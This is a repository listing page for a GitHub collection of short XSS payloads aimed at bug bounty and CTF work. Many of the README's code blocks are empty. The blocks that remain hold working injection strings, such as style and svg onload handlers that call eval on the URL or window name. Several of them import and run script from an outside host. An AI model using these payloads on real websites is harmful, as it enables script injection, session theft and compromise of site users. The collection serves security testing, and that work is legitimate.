https://github.com/terjanq/tiny-xss-payloads

A collection of tiny XSS Payloads that can be used in different contexts. https://tinyxss.terjanq.me
https://github.com/terjanq/tiny-xss-payloads

bugbounty ctf html javascript payloads xss

Last synced: 3 days ago
JSON representation

A collection of tiny XSS Payloads that can be used in different contexts. https://tinyxss.terjanq.me

• Host: GitHub
• URL: https://github.com/terjanq/tiny-xss-payloads
• Owner: terjanq
• Created: 2020-07-09T21:45:19.000Z (over 4 years ago)
• Default Branch: master
• Last Pushed: 2024-11-29T23:58:23.000Z (about 1 month ago)
• Last Synced: 2024-12-28T23:25:54.183Z (3 days ago)
• Topics: bugbounty, ctf, html, javascript, payloads, xss
• Language: JavaScript
• Homepage: https://tinyxss.terjanq.me/
• Size: 618 KB
• Stars: 1,960
• Watchers: 48
• Forks: 196
• Open Issues: 0
• Metadata Files:
  • Readme: README.md

Awesome Lists containing this project

README

        
# Tiny-XSS-Payloads

A collection of short XSS payloads that can be used in different contexts.

The DEMO available here: 

## Current Payloads

```html

```

```html

```

```html

```

```html

```

```html

```

```html

```

```html



```

```html

```

```html

```

```html

```

```html

```

```html

">

```

```html

```

```html

">

```

```html

```

```html

<!-- If inline styles are allowed and the URL can be controlled -->

<style/onload=eval(`'`+URL)>

```

```html

<!-- If inline styles are blocked -->

<style/onerror=eval(name)>

```

```html

<!-- Uses external script as import, doesn't work in innerHTML -->

<!-- The PoC only works on https and Chrome, because NJ.₨ checks for Sec-Fetch-Dest header -->

<svg/onload=import(/\\NJ.₨/)>

```

```html

<!-- Uses external script as import,  triggers if inline styles are allowed.

<!-- The PoC only works on https and Chrome, because NJ.₨ checks for Sec-Fetch-Dest header -->

<style/onload=import(/\\NJ.₨/)>

```

```html

<!-- Uses external script as import -->

<!-- The PoC only works on https and Chrome, because NJ.₨ checks for Sec-Fetch-Dest header -->

<iframe/onload=import(/\\NJ.₨/)>

```

Deprecated:

```html

<!-- If you control the URL, Safari-only -->

<iframe/onload=write(URL)>

```

```html

<!-- If inline styles are allowed, Safari only -->

<style/onload=write(URL)>

```